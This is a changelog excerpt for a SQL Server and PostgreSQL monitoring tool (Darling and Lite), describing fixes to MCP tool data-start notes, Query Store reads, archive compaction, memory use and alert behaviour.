+- **Custom Views panels grouped by object no longer fail on large stores over a recent window** ([#5179]) - On the recent-window route, module names now come from the module map plus a small read of the rows newer than its last refresh. The panel no longer ranks every procedure_stats row in the window, which could exceed the store's temporary-file limit. A new hourly refresh keeps the map current. The answers match the raw route's.
+- **The blocking charts' "Showing since" note no longer hides a stretch when the blocked process threshold was off** ([#5199]) - in Lite and the desktop viewer, when the charts draw blocked process reports, the note now starts where the server's `blocked process threshold (s)` went above zero (from the config snapshots), or at the earliest report if that is sooner, so the zeros before it no longer read as no blocking.
+- **Darling's system-health, default trace, wait, latch and spinlock MCP tools say where their data starts** ([#5191]) - the nine `get_health_parser_*` tools, `get_default_trace_events`, `get_wait_stats`, `get_latch_stats` and `get_spinlock_stats` carry `effective_start`, `window_truncated` and `truncation_note` (under `hints` on an empty health or default trace answer), so an answer over a window the store never covered no longer reads as a quiet one. An event a first collection stored from before itself moves the start back to that event.
+- **Two test classes now run in the shared live-store collection** ([#5214]) - the system-health and default-trace window-notice tests moved into their own classes, so the test suite's live-store hygiene check sees each one serialized.
+- **The web page's event grids say where their data starts** ([#5197]) - Blocked Process Reports, Long Query Completions, Memory Pressure Events and Default Trace now show a partial-window note when the data starts after the window starts, naming the earlier of the collector's coverage and the earliest event shown, as the desktop viewer does. A capped page names its oldest event shown.
+- **Darling's blocking stats and PostgreSQL deadlock and log event MCP tools say where their data starts** ([#5205]) - `get_blocking_stats`, `get_pg_deadlocks` and `get_pg_log_events` carry `effective_start`, `window_truncated` and `truncation_note` (under `hints` on an empty answer). `get_blocking_stats` names the later of its blocking and deadlock start points, so an uncovered deadlock half no longer reads as "no deadlocks"; the event lists name the earlier of the store's coverage and the oldest event shown.
+- **Fifteen Darling PostgreSQL MCP tools say where their data starts** ([#5201]) - fifteen `get_pg_*` tools (wait stats, wait sampling, kernel stats, lock stats, predicate stats, config changes, top queries, database stats, I/O stats, plans, CPU utilization, blocking, session states, replication stats, xmin horizon) return `effective_start`, `window_truncated` and `truncation_note`, so a short history no longer reads as a quiet window.
+- **Darling's PostgreSQL write stats and index usage MCP tools say where their data starts** ([#5201]) - `get_pg_write_stats` and `get_pg_index_usage` return `effective_start`, `window_truncated` and `truncation_note`, so a short history is no longer read as a quiet one, and the web page draws the same note for index usage.
+- **The web page's System Events, Blocking, Deadlocks and PostgreSQL event panels say where their data starts** ([#5222]) - fourteen event reads now show the partial-window note when the store's history starts after the window starts, on empty answers too: the earlier of the coverage start and the earliest event shown, or a capped page's oldest row. Blocking probes both of its sources, as the desktop does.
+- **MCP quiet and all-clear messages no longer contradict a cut window** ([#5250]) - when a read's window reaches further back than the store's data, an empty answer keeps its facts but no longer calls the window "genuinely quiet" or "the all-clear"; it says the stretch before the data is not a report that nothing happened, in Lite and Darling alike.
+- **Query Store plans are found again** ([#5263]) - `analyze_query_store_plan`, the Viewer's Query Store plan and "Get Actual Plan" on a Query Store row now read plans through the plan map, so plans collected since the plan dimension no longer come back empty. `analyze_query_store_plan` reports the plan_id it analysed in `identifier`.
+- **Adding a server no longer refuses an immediate second add** ([#5268]) - the add slot is now freed before the answer is sent, so posting another add the moment the first one reports done no longer returns "A server add or edit is already running". An add that outlives the 120-second wait still holds the slot until it finishes. Race introduced with #5167.
+- **Collector stall probe no longer ranks an idle wait as the top wait** ([#5276]) - the availability-group health check's `SP_SERVER_DIAGNOSTICS_SLEEP` (and every other wait on the shared ignored-wait list) is left out of the probe's top-five ranking and counted in the summary tail as `idle K tasks/J types`. With only idle and background waits left, the probe reports no top wait.
+- **MCP PostgreSQL empty answers no longer call a cut window quiet** ([#5285]) - lock, config-change, wait-sampling, replication, xmin, database-stats and session-states empty answers name where the store's data starts instead of claiming "healthy" or "all-clear" when the window reaches before it; Lite `get_plan_corrections` says no windowed rows were read when its list is empty over an uncovered window.
+- **Long-window Custom Views panels over query statistics check the hourly rollup against a per-hour row count instead of scanning raw** ([#5290]) - The check that proves the hourly rollup is complete used to count every raw row in the window. On a large store that took about a minute and hit its 15 s cap, so those panels always read raw. It now compares the rollup with a small per-hour row count kept at write time and reads no raw rows. It still sums the window's rollup rows, so how fast it runs on a large store is measured after deployment. A window that starts before the upgrade's first full hour still reads raw until the count covers it (a 24 h panel after 24 h). Those reads count under `fallbacks` in `get_read_latency`.
+- **Lite's Query Store history window no longer overcounts Total Executions** ([#5310]) - The summary added up every stored snapshot, so an interval collected more than once was counted about once per collection. It now counts each interval once, at its latest snapshot. The Darling viewer's history window gets the same fix. The grid still lists every snapshot.
+- **The web's Index Analysis list no longer stops at 50 rows** ([#5303]) - The tab now asks for up to 500 recommendations. When the list is still cut, it says it stops at 500 and how many are not shown ("1 more is not shown" when one is left). The Storage Growth database list also asks for 500 databases instead of the top 50. `get_finops` takes a `limit` up to 500 for both lists. The `get_finops` `limit` description no longer says 1-50 for every view. It says each view has its own maximum.
+- **The plan viewer's Parameterized row shows the parameterized text of an ad hoc statement** ([#5326]) - SQL Server stores this text as an attribute of the statement element. The parser read only an element form, so the row stayed empty.
+- **The web Locking page filters by database, shades its wait columns and opens an index detail pane** ([#5372]) - the web Locking & Contention page could not be narrowed to a database, left its four wait columns plain and had no detail for one index. It now has a Database box (empty means all databases), shades the row lock, page lock, page latch and page I/O latch cells on a log scale per column like the desktop, and opens a pane with an index's four counters on a row click. The Database box on Locking and Index Analysis now sends a name in its stored spelling and no longer trims it. The MCP get_object_locking tool in Darling and Lite gains an optional database_name (last parameter; blank means all databases).
+- **get_object_locking answers `empty`, not `unavailable`, when the collector looked and found no contended index** ([#5372]) - a server whose latest snapshot held index rows with no lock or latch contention was told `unavailable` in both Darling and Lite. Both now say `empty` in the same sentence. `unavailable` stays for a server with no snapshot at all.
+- **Lite's archive watermark reads no longer pile up on one DuckDB engine** ([#5390]) - On a store with archived Parquet history, each Query Store database ran its own whole-archive read when an archive generation was cold, and idle databases re-ran a floored archive read every cycle. A user measured five such reads at once taking 41 to 63 s each against 3 s alone. Lite now makes one grouped archive read per table per archive generation, shared by every database and by concurrent callers. The Query Store backfill's per-database floor read joins that grouped read, and callers that arrive while an older generation's read is still running take it over instead of each starting their own. The floored read now runs only when an archived row was collected after the floor with a value older than the floor, and is then cached per generation and hour. Archive-view reads and the forced-plan alert read now share a limit of two at a time, taken before the database read lock so a waiting read never holds up the CHECKPOINT. The forced-plan alert read also honors cancellation while it waits. The values the collectors read back are unchanged.
+- **Lite no longer starts a second refresh on top of a slow tab-switch read, and no longer drops a tab or range change made during a refresh** ([#5380]) - Opening a tab, such as a slow Collection Health read, did not mark a refresh as running, so the timer started a second full refresh beside it (one trace ran 484 s). The same check threw away a tab switch, time-range change, custom-date change or Compare-to change that arrived while a refresh was running, leaving the combo on the new choice and the charts on the old window. A server tab now runs one refresh at a time. The timer tick adds nothing while one is running, and the newest tab switch, range change, Compare-to change or manual refresh that arrives meanwhile runs when it ends. A refresh that fails now always releases its guard, so the next one runs.
+- **Lite's post-collection CHECKPOINT no longer parks the app behind one slow read, and the hourly archive pass stops rebuilding the archive views when it moved nothing** ([#5385]) - The CHECKPOINT after each collection round waited for the database write lock with no timeout, so one slow read could hold up every other read and the next collection behind it. It now waits up to the write-lock budget (5 seconds by default), skips that round's CHECKPOINT on a timeout, and tries again next round. Separately, the archive pass rebuilt the archive views every time, even when it archived nothing, which discarded every cached watermark. It now rebuilds only when the archive's parquet files changed, including when a pass changes files and then fails.
+- **A login that cannot create Extended Events sessions now shows PERMISSIONS for the long-query collector** ([#5386]) - SQL Server error 15247 was missing from the shared list of permission denials. A denied long-query session setup showed ERROR in Lite and SESSION_MISSING in Darling. Lite also re-ran the denied CREATE every cycle. 15247 is now a permission denial. Lite stops the create for the rest of the app session once denied, and a restart tries again. Darling shows PERMISSIONS and retries the create hourly or on reconnect.
+- **Lite's archive compaction no longer rewrites a whole month of each table every hour, and says so when the disk is too full to merge** ([#5394]) - Compaction used to read and write back every already-merged part file of a month on each hourly pass, and held every merged output next to every input, so a volume with little free space failed part way with an I/O error that named no numbers. It now leaves a part file that has nothing to merge alone, merges only the batches that fit in the free space while keeping the larger of 64 MiB and the database file's size free for the database, and logs one warning per pass naming each table, the bytes it needed, the bytes free and the reserve. Lite also logs a warning at startup, and then at most once every 24 hours while the volume stays low, when the volume holding its data folder has less free space than the next compaction or CHECKPOINT needs, and one information line when it recovers. Free space is read for the data folder itself, so a folder on a mounted volume or junction is checked on its own volume.
+- **Lite's Top Queries grid reads far less memory as the query_stats archive grows, and the procedure comparison reads less but can still run out of memory** ([#5398]) - Both reads picked each group's query text with a "newest text per group" lookup over the whole archive, so a few days of archived wide query text ran out of memory at Lite's 1 GB limit even for a 24 hour window. They now rank first and read the text for the ranked groups only, from the read's own time window. Top Queries at 24 hours now fits 1 GB (peak about 5x lower on a 15 file test archive). The procedure comparison peak is about 4x lower, but it is not yet fixed: on an archive with very wide text it can still run out of memory at 1 GB, even for a 24 hour range against the prior 24 hours. The MCP tool get_top_queries_by_cpu reads the same way as Top Queries. The text shown is the newest one inside the window: a window that ends in the past shows its own newest statement, a group with no text inside the window shows a blank text and plan even if an older row has one, and a procedure with no captured statement inside its two compared ranges (not the gap between them) shows a blank text instead of an older statement from outside them.
+- **The Darling installer now refuses an install when the .NET Runtime 10 is missing** ([#5409]) - the installer checked for the ASP.NET Core Runtime 10 but not the base .NET Runtime 10, which the standalone ASP.NET Core Runtime installer does not include. A machine with only that installer passed the check, and the service then failed to start with the .NET host's "You must install .NET" error. The installer now checks the base runtime first and refuses, naming the ASP.NET Core Hosting Bundle (which installs both) or the .NET Runtime 10 plus the ASP.NET Core Runtime 10. The Darling README and onboarding guide list the same prerequisites.
+- **Statement text is judged whole before it is cut** ([#5361]) - MCP previews, analysis findings, long-running-query alerts and alert bodies in Lite and Darling used to cut a statement before the statement filter saw it. They now filter the whole statement and then cut it. Two analysis reads fetch whole text only for the rows they show.
+- **A scripted `--encrypt-password` no longer writes to the error stream when it succeeds** ([#5417]) - the `Password: ` prompt and the "Paste the line above" hint went to stderr on every run, and Windows PowerShell 5.1 turns each captured stderr line into an error record, so a script with `$ErrorActionPreference = 'Stop'` stopped on a successful call. The prompt is now written only when stdin is a console, and the hint only when stdout is a console; stdout is still exactly the blob and the error path is unchanged. `--configure-firewall` run from a non-elevated shell with no confirmed work (exit 0) now prints its handoff text to stdout instead of stderr.
+- **Lite's Query Store comparison and regressions no longer run out of memory on wide windows at a 1 GB memory limit, and top queries gets further** ([#5396]) - the comparison and regressions carried every query's full text through their ranking, so a 24-hour comparison over an archive of two or more days hit the memory limit and failed, and the regressions read ran within about 40 MB of it. They now rank on the narrow columns and read the text afterwards, by key, for the final rows only. Top queries did not carry the text through its ranking; its cost was a lookup of each candidate's text over all history, which now reads the text of each ranked query once, by key. On a 30-file test archive the comparison went from out of memory to about 520 MB, the 14-day top queries window from out of memory to about 790 MB, and regressions from about 920 MB to about 400-550 MB. A 30-day top queries window still runs out of memory at 1 GB and is not fixed by this change. The comparison and regressions take a query's text from its latest collected row, and when that row has no text from an older collected row in the same period, as before. The one difference is a query that has two different texts in the same period: these reads now show the latest one, where they used to show the greatest.
+- **Statements whose text was withheld are no longer acted on as if the marker were the statement** ([#5367]) - Get Actual Plan refuses a withheld statement with a clear message, "Mute this alert" seeds no query-text pattern from it, and pileup and blocking-incident grouping keep different withheld statements apart.
+- **Lite writes archive files in small row groups, so a windowed read decodes much less query text** ([#5402]) - Lite wrote archive files with DuckDB's default 122,880-row groups, and its compaction wrote 8,192-row groups, so even a 1 hour window read of a query text column decoded a whole file's or a large part of a file's text, which pushed Query Store and query stats reads toward Lite's 1 GB memory limit. Every Lite parquet write that produces an archive file (the hourly archiver, compaction, the reset and import exports, and Query Store slice repair) now uses 2,048-row groups, which grows files by 1 to 3 percent. Measured on a synthetic Query Store archive, a 1 hour window decodes 17 MB of text instead of 73 MB with compaction's old 8,192-row groups (335 MB with a default-size file). Compaction output is not sorted by time, so a group can span several hours and a 1 hour window still touches about 7 percent of a compacted file (27 percent at 8,192 rows). Only files written from now on get the smaller groups: the current month's files are rewritten as it receives new hourly files, but past months keep their 8,192-row groups until retention removes them. The tie-break for the newest row of a query in the analysis reads now includes collection_id, so tied rows give the same answer every run. Reads that carry query text through a window or lateral over the whole archive are fixed separately, and sorting compaction output by time was measured in [#5410] and will not be built (it needs 4 to 6 GB on the plan-heavy shape), and query stats and Query Store stats files are merged one file per day instead. Lite's database connection now allows up to 2 GB of memory (was 1 GB) and at most 8 threads (was every core), because in a measured 30-day archive five wide reads ran out of memory at 1 GB with 32 threads and all passed at 2 GB with 8 threads.
+- **Lite's Collection Health read is cheaper, can be cancelled, and says where its time goes** ([#5388]) - Lite's per-collector health statement ranked every run of the 7-day window four times (a ROW_NUMBER over each collector) to find the newest note, failure text, fan-out item and run. It is now one aggregate pass plus keyed lookups at the newest instants, so the plan has no window operator. The 31 columns, names, types and ordinals are unchanged, and every tie-break the old ranks defined is kept (a zero-row success sharing both instant and status with the first streak breaker is counted as behind it, where the old rank was arbitrary). On a seeded 2.0M-row store it ran in about 0.25 s against about 1.1 s for the old statement. Beyond the rewrite, a Health or Log read that takes longer than the slow-method threshold now writes one block to the method profile log with its lock wait, open, execute (statement prepare and bind included) and row read times. A refresh pass that a newer request supersedes now interrupts its running Health, Log, Duration Trends and data-start reads, frees the read lock, repaints nothing, and a cancelled Health or Log read that passed the threshold writes one "cancelled after N ms (superseded)" line instead of a slow-method block. Any other tab read the profiler times that ends cancelled at or past the same threshold now writes the same one line to the app log, with no slow-method block, and writes nothing below it. A timer refresh at any auto-refresh setting reads fresh Health data. A second request inside one refresh interval from another trigger, such as switching tabs, reuses the Health result of the last read, with the current collector schedule applied to it, and a manual refresh or a range or filter change reads fresh. Against the old statement on a synthetic store with four archive scans running on the same engine, the new one took 0.46 s against 0.86 s at 137,000 rows per server and 2.75 s against 6.25 s at 1,370,000. No field store was timed, so the 248 s report in #5371 is not reproduced, and the case where archive scans share the engine is not claimed fixed.
+- **Lite's and the Darling viewer's duration and execution-count charts report the true rate for a database-filtered view** ([#5414]). With a database chosen, a chart bucket's rate was divided by only the collections where that database had rows. A quiet database read several times too high, and the per-database lines did not add up to the server's. A stretch where the chosen database was quiet is now drawn as zero rather than left as a gap. The filter now sits inside the work sums, and every collection in the bucket counts its seconds.
+- **The Darling viewer's procedure comparison, its two comparison twins and the Query Store top reads look up statement text inside a time bound** ([#5427]) - On a large store the procedure comparison took about 25 s, and 17.6 s of that went on finding each procedure's statement text with no time bound, which walked every retained chunk. The comparison now finds the text once, over the current and baseline ranges only, and joins each period on plain equalities. The Top Queries and Query Store comparisons join their periods the same way. All three comparisons now keep a group whose key is NULL apart from a group whose key is empty, which used to merge into one row. The inline-text fallback of the Query Store top reads, in the viewer and in the MCP tools, is bounded to the window too. On a test store seeded with 15 days of data, the procedure comparison went from 12.5-30.5 s to 0.23-0.28 s at 24 hours and from 24.4-27.5 s to 1.6-3.1 s at 7 days. A procedure or query whose only captured text is older than the window now shows no text. Lite is unchanged.
+- **get_pg_io_trend and get_file_io_trend no longer time out on a store with stale table statistics** ([#5442]) - When PostgreSQL's row estimate for pg_io_stats or file_io_stats was out of date, the planner ran each read's join as a nested loop and re-ran a windowed pass once per row. That took 64.7 seconds (pg_io_stats, 72 hours) and 84.6 seconds (file I/O, a week), past the 30 second read deadline, so the tool answered "Exception while reading from stream". Both reads now work in one pass with no join, and return the same rows and values.
+- **The Darling service can now assume an AWS role from an `AWS_PROFILE` profile** ([#5446]). A profile with `role_arn` failed with "Assembly AWSSDK.SecurityToken could not be found or loaded" because the service did not ship that assembly. A cluster in another AWS account was out of reach. The service now ships `AWSSDK.SecurityToken`. The PostgreSQL first-target runbook also lists `rds:DescribeDBInstances` and `pi:GetResourceMetrics` in its IAM section and describes the cross-account setup.
+- **Severe errors show the database name their id had at the time of the error** ([#5432]): SQL Server reuses the id of a dropped database. The Severe Errors views and the Darling `get_health_parser_severe_errors` tool named every error by the newest name for its id, so an old error showed the database that later took the id, and the database filter followed the wrong name. Each error is now named by the newest database-size snapshot at or before it that has the id, looking back up to 14 days. Failing that, by the oldest snapshot up to 14 days after it, and failing that, by the raw id as before.
+- **The Darling viewer's Top Queries and Top Procedures show blank, not 0, for columns the hourly rollups do not keep** ([#5443]). On a window served from the hourly rollups the grids showed 0 reads, writes, physical reads, rows and spills. Top Queries also showed 0 for DOP, grants, threads and CLR. A reads sort ranked by those zeros. Those cells are now blank, and the header note says so. Min/Max CPU and elapsed are blank on the hourly route too. The rollup keeps only per-collection totals, so those columns held the smallest and largest per-collection sums, not the fastest and slowest execution. Raw-routed pages are unchanged. The web's Reads ranking now says in one sentence that it reads the raw collections because the per-query hourly rollups keep no reads.
+- **The saved database filter narrows more screens** ([#5438]). With a filter saved, many Lite and viewer screens still showed every database. These were the File I/O latency and throughput charts and the Database Sizes grid and size chart. They also included Storage Growth with the table and index heatmap's database list. Others were the Persistent Version Store grid and chart, and the FinOps Locking grid with its database box and optimized-locking note. They now show only the chosen databases. The File I/O top ten files and the version store top five are ranked among the chosen databases. On the Locking tab the filter and the database box both apply. The Utilization free-space score stays server-wide. With no filter saved nothing changes. The FinOps tab reads the filter when it loads, so a change made in a server tab shows on its next refresh. In the viewer, the Locking grid's 200-row cap now breaks ties like Lite and the MCP tool. All three pick the same rows.
+- **The retired-baseline sweep no longer leaves its connection dead when a drop loses a race with a refresh job** ([#5439]) - a continuous aggregate refresh job running during the sweep's DROP failed it with `XX000: tuple concurrently deleted`; Npgsql then closed the connection, so the next relation and the convergence steps after the sweep (baseline fallback views, statement statistics) failed with "Connection is not open" until the next hourly pass. The sweep now reopens its connection after a failed drop and logs the failed drop once.
+- **Lite merges query_snapshots archive files into one file per day** ([#5434]) - query_snapshots was never compacted (its plan XML runs the merge out of memory at the usual 200 MB batch size), so the archive kept one file per hourly pass and every query_snapshots read opened all of them. It is now merged per day, 64 MiB of input per merge on one thread with the output row groups cut at 32 MiB so memory stays near 1.2 GB on the heaviest measured plan shape: a day of about 2.2 MB hourly files becomes one file, and larger days become a few parts. A long first pass stops starting new day merges after 5 minutes and goes on next pass; an imported day file is no longer logged as unrecognized; a file waiting on an interrupted archive's journal is no longer merged away. Files over the budget by themselves are left as they are, and monthly or imported query_snapshots files are still not merged.
+- **A convergence step that breaks the store connection no longer fails every step after it** ([#5453]) - a step failing with an XX, 58 or 53 error made Npgsql close the shared connection, so each later step in the pass failed with "Connection is not open" until the next hourly pass. The step runner now reopens the connection and logs one warning.
+- **Saved passwords keep working on the first start after the schema 165 upgrade** ([#5456]) - the service now takes the legacy password pins before it reads the server list, so servers with saved old-format passwords connect on that first start instead of waiting for a second restart.
+- **The one-time password pin step after the schema 165 upgrade is tightened** ([#5466]) - a pin step that fails at start is tried again on the next sweep instead of waiting for a restart.
+- **Darling checks an RDS or Aurora target's host against the endpoint AWS reports** ([#5465]). It does this before it reads that target's logs or Performance Insights data. If the host does not match, Darling reads nothing for that server and records a PERMISSIONS outcome naming the host and the id.
+- **PagerDuty auto-resolve now resolves a second outage that recovers inside the cooldown** ([#5470], [#5469]) - The first recovery started its own cooldown. The clear after a delivered close only reset the outage alert, so the second recovery was throttled and PagerDuty's second incident stayed open. A delivered PagerDuty outage alert now also resets the cooldown on its recovery alert, in Lite and Darling. The same holds after the app restarts in the middle of an outage. With auto-resolve on and PagerDuty set up for the alert, each availability group replica also keeps its own alert cooldown. One replica's outage or recovery no longer throttles another replica's alert on the same server. With this on, each replica gets its own outage notice and its own recovery notice in Teams, Slack and the generic webhook. Email stays per server, with one cooldown for each server. With auto-resolve off, or with PagerDuty not set up for the alert, nothing changes. The generic webhook's `{{dedup_key}}` stays on per-state keys either way. This fixes unreleased behaviour from #5368.
+- **Procedure stats keep every procedure that did work, not just 150, and the procedure trends and counts read the same either way** ([#5463]): The collector now stores every module whose counters moved, not the top 150 by lifetime elapsed time. It renders plans for the 150 busiest. The trend rate, the slicer count and the data-start banner read the same when an idle procedure has no stored row. The procedure charts, the per-procedure history charts and the hourly trends also plot a quiet minute or hour as 0, so it is no longer a gap. A stretch with no collector runs for over an hour is left out of a rate's seconds. A procedure that returns after a long absence no longer lowers the whole collection's rate. The Lite slicer overlays plot each row's own delta.
+- **An alert with a large blocked-process report no longer loses its details on a busy service** ([#5478]) - The statement filter read the alert's report twice and gave a whole alert, or a whole MCP or web answer, one fixed 1.5 s. On a busy machine a 4 MB report could use it up, and the alert went out without its details. Each distinct document is now judged once. The allowance grows by 0.5 s per MB of each distinct document, up to 10 s. The filter is warmed at start.
+- **The launch guard releases itself and the collection alerts keep working in a hold** ([#5481]) - Once it tripped, no new collection ran. The in-flight work finished. A process that allocates nothing never runs a garbage collection. The figure stayed over the line. A Linux container stopped collecting for 25 hours with nothing in the log after the trip. When the figure crosses the line, the guard now runs a full decommitting garbage collection and measures again in the same pass. The collection runs at most once a minute. It is never skipped the first time after the service starts. If the collection brings the figure under the line, collection is not paused. A crossing within a minute of the last collection holds new launches off quietly until the next collection is due, at most a minute. The log has one Information line with the figure before and after. A figure that hovers at the line no longer logs a Critical and runs a full collection on every pass. If the figure is still over, the guard holds new launches off. It logs one Critical per episode that names the figure after the collection. The Critical says so when the collection itself failed, and then it gives the figure from before. The guard repeats the collection at most once a minute, logs a warning every five minutes, and logs the release. A sampler fault while holding ends the hold with a warning. A later release line therefore never counts running time as time held. On Linux the guard measures resident memory (`VmRSS`) against the tightest memory limit of the process's own cgroup and every parent up to the root. Total RAM applies when no limit is set. A systemd `MemoryMax=` or a container started with `--cgroupns=host` sits in a nested cgroup, which the old root-only read missed. `--check-settings` reads the limit the same way. The old guard measured `VmData` against the garbage collector's budget. That read 1426MB while the container's resident memory was 810MB and its limit 2Gi. Collection Stopped was evaluated at the top of each server's collection body. A body the guard held off therefore silenced it. It fired for all four servers only when collection came back (1503 minutes). The store-polled self-alerts and the custom-alert rules now run in one tracked pass per loop tick. The pass evaluates at most four servers at a time, and never more than `max_concurrent_sweeps`. They run whether or not any body launches. They stay silent while the operator pauses collection. A cancellation inside one server's evaluation that is not the service shutting down is logged, and the pass goes on to the servers after it. A pass that runs past one 15-second tick but ends inside the 30-second cadence logs nothing. A pass that outruns the cadence logs one Warning with how long it has run. Collection Falling Behind read '0 ran, 0 skipped' during the hold and cleared an hour in. Then it counted every held slot at once on release (101,774 of 101,881) and fired for an hour after recovery. The held slots are now counted as skipped as they come due. The first launch after the release counts none of them again. A collector-interval change in the middle of a hold counts only the slots after the change.
+- **Alerts, MCP reads and web reads in the first seconds after a start keep their statement details** ([#5484]) - Lite and Darling warm up the statement filter when they start. A large alert or read that arrived before the warm-up finished sometimes ran out of judging time and lost its details. Now a call that judges 256 KB or more waits for the warm-up, at most until 3 seconds after it started. Smaller calls never wait, and Lite's alert check waits without blocking the window.
+- **The Query Store backfill stops retrying databases dropped from the server** ([#5486]) - the backfill chose its databases from the Query Store rows already collected. A dropped database stayed on that list until its last row aged out, so every pass failed on it. Darling and Lite now remove a database from the list when the newest database-state snapshot does not name it. They also require that no Query Store row for it was collected since that snapshot. A database created after the snapshot is still worked. A server with no snapshot, or whose newest snapshot is older than three times its database-state interval (at least one hour), is left alone. If the check itself fails, every database is tried as before and one warning is logged for each run of failures.
+- **"Collection Stopped" alerts once per outage** ([#5490]) - A server with dead collection got a new "Collection Stopped" alert every few minutes. That filled Alert History. It now alerts once per outage and writes one "Collection Resumed" when it recovers. The `connection_refire_minutes` setting decides how often a standing outage repeats, and 0 (the default) means never.
+- **Azure SQL Database sizes now cover every database, and the firewall error names the firewall first** ([#5500]) - Database sizes on an Azure SQL Database server now cover every database, not just master. The 40615 error says first that the firewall did not allow the client's IP address, and to add a server-level rule or a database-level rule in master. Storage Growth shows no growth figure for an Azure database until it has 7 days of new rows.
+- **Darling and Lite alert once per occurrence for lasting conditions** ([#5497]) - Capture Down, Agent Not Running, AG Sync Fell Behind (Darling and Lite), custom rule health, collection falling behind, store job over cadence, retention held, raw purge over horizon and a policy job stuck after escalation sent a new alert every cooldown for as long as they lasted. Each now sends one alert when it starts and one resolution when it ends, and repeats only when connection_refire_minutes is above 0. A rise to a higher severity inside one occurrence (warning to critical) still sends one more alert,. So does a custom alert rule joining the unhealthy set.
+- **Lite's FinOps tab loads real data on the first visit, and its advice claims only what the data supports** ([#5488]) - The tab opened on the empty window read before the first collection. It showed "No Data", empty grids, a false idle database row and a Health score of 100. The first visit now loads the selected server, and an open tab reloads when a collection for its server finishes. A database counts as idle only with a query stats sample on each of the 7 full UTC days before today. CPU right-sizing gives one row per server, and Free editions get no licensing advice. Storage Growth shows n/a when no sample sits near the 7 or 30 day mark. The Settings window now fits the screen, with Save and Close always visible. Top Queries and Query Store no longer list Lite's own collector queries, and list rows, tabs and filter buttons carry names for screen readers.
+- **A managed store near a free-disk step no longer reads "stale after a hardware change"** ([#5511]) - The WAL size check compared max_wal_size against a fresh reading of free space. A few hundred MB of disk churn across a 16, 32, 64 or 128 GB step made an untouched store read stale. It now accepts a value the ladder picks for any reading within one eighth of the current free space. Halved or doubled headroom still reads stale. A service start near a step keeps the value it wrote instead of appending a new block.
+- **The spinlock and PostgreSQL I/O reads no longer go through every stored row of a long window** ([#5501]) - Both reads compared every stored row with the one before it. We measured both on a large store over 7 days. `get_spinlock_stats` went from 3.9 seconds warm (6.8 cold) to 0.22 to 0.26 seconds warm (1.7 cold). `get_pg_io_stats` went from 2.8 seconds to about 0.26 seconds. The spinlock read now totals the window in one pass and looks up the newest rows of only the top spinlocks. For windows of 6 hours or more, the PostgreSQL I/O read takes whole hours from a new hourly table (`collect.pg_io_stats_hourly`, store schema 170). It reads raw rows only at the two edges, and the viewer's I/O tab uses the same read. It falls back to the old read whenever an hour's row count does not match the raw table. After the upgrade, the hourly tick fills the new table.
+- **Offline servers read as stale, Collection Stopped counts from the last collection, and the web pages and FinOps read in plain words** ([#5492]) - A server that stopped collecting showed live-looking values (0% CPU, memory ok, 77 free threads) on its fleet card and header tiles in the web viewer and the Darling Viewer. They now read n/a with the time of the last collection. The Availability Groups page showed "Healthy" on 12-day-old data and for a group with no primary. It now says Stale for old data, and a group with no primary is at least Warning. The Collection Stopped alert text (email and every other channel) counted from the service start, so a restart reset it. Long gaps read as thousands of minutes. The text now counts from the last successful collection in the store and reads "12 days" or "3 hours". The Wait Stats tab sent the same spinlock and latch reads twice per load. Identical tool reads in flight now share one request. The Plan button now shows the plan full width under its row instead of in the last grid column. This covers Top Queries, Query Store history and PostgreSQL captured plans. The Instance CPU panel is hidden on a PostgreSQL server that is not Aurora. A "not collected" answer reads as one short line instead of gate names. Messages no longer show internal names such as hints.captures, hours_back, denied_since_last_success or collector measurement counts. Alert Settings shows a readable label with the key as a tooltip. On a server without Always On, Collection Health lists a healthy Always On collector as not applicable. A failing, stale or stopped one keeps its log row. Collection Health also opens worst collector first, and the Daily Health Calendar opens newest day first. The Admin Servers Auth column reads "Username and password" for PostgreSQL targets. Every server pick list on the web now uses the sidebar's order, display name with favorites first. This covers FinOps, Alert History, Job History, and the Custom View and notebook scope lists. The page header says SQL Server and PostgreSQL. The "read 6 of 9 servers" line under the Deadlocks tile has a tooltip that says why. The Alerting Reads panel drops tiles with no value. Collector counts written as "shred_gated_1 events_read_0" read as words. In FinOps, an idle-database claim now needs a query-stats sample on each of the last 7 UTC days. A server gets one CPU right-sizing recommendation, and only after 24 hours of CPU samples. Developer, Evaluation and Express editions get no Enterprise licensing advice. Storage Growth baselines are the sample nearest 7 and 30 days ago, else n/a with a reason. Utilization and Server Inventory show a dash instead of a health score when there are no CPU samples. On a PostgreSQL target, a FinOps panel that the server cannot answer reads "Not collected for PostgreSQL". FinOps opens on the first SQL Server target. The Darling Viewer's FinOps grids show full headers, a wrapped Recommendations detail, and a dash with a tooltip for an empty savings estimate. The Database Sizes title names its server.
+- **Query Store backfill no longer re-reads each server's database list every few minutes** ([#5534]). The backfill asked the store for the list of databases with recent Query Store rows on every pass, about 100 times a day per server. It now keeps the list and reads it again when a write names a new database, and at least once an hour.
+- **Plan regression day builds read only the days they need, and the Query Store top summary cleanup stops scanning its table** ([#5524]). Each per-day plan regression build read every index entry its server had in the latest-interval table. The service now builds a `(server_id, first_execution_time)` index on `collect.query_store_interval_latest` in the background, about 20 minutes after start. Where that table is a hypertable, it skips the index with a warning. The hourly Query Store top summary cleanup scanned the whole summary table even when nothing had expired. It now removes expired days by key.
+- **Azure SQL Database Query Store collection stops reading each database's watermark from the store on every cycle** ([#5527]) - Each Azure database cost one store read per cycle, 181,050 in 13 days on a 43-server store. The watermark now comes from the per-database cache and is read from the store about once an hour.
+- **Analysis reads the newest file I/O size and perfmon rows without scanning the whole window** ([#5529]). The database-size fact and the batch-request and compilation rate facts numbered every stored row in their window to keep the newest, which cost tens of millions of block reads a fortnight on a large store. They now read the newest snapshot, and the size fact falls back to the full read when a file has dropped out of it. The results are the same except in one narrow case: a database file seen only in the middle of the last 24 hours (not in the newest snapshot, the one before it or the oldest one) is no longer counted in the total database size, where it used to be counted until 24 hours after it was last seen. A rate counter with no usable sample in the window can cost more to read than before.
+- **The hourly store self-metrics no longer count every row of the query text and plan tables** ([#5530]). Each hourly sweep counted every stored query text and query plan row, about 26 seconds and 150,000 block reads a call on a large store. Their row count in get_store_metrics is now the planner's estimate: it is empty until the table is first vacuumed or analysed, it moves in steps between those runs (so a flat day does not mean no new rows), and it is rounded above about 16.7 million rows. get_store_metrics calls it an estimate.
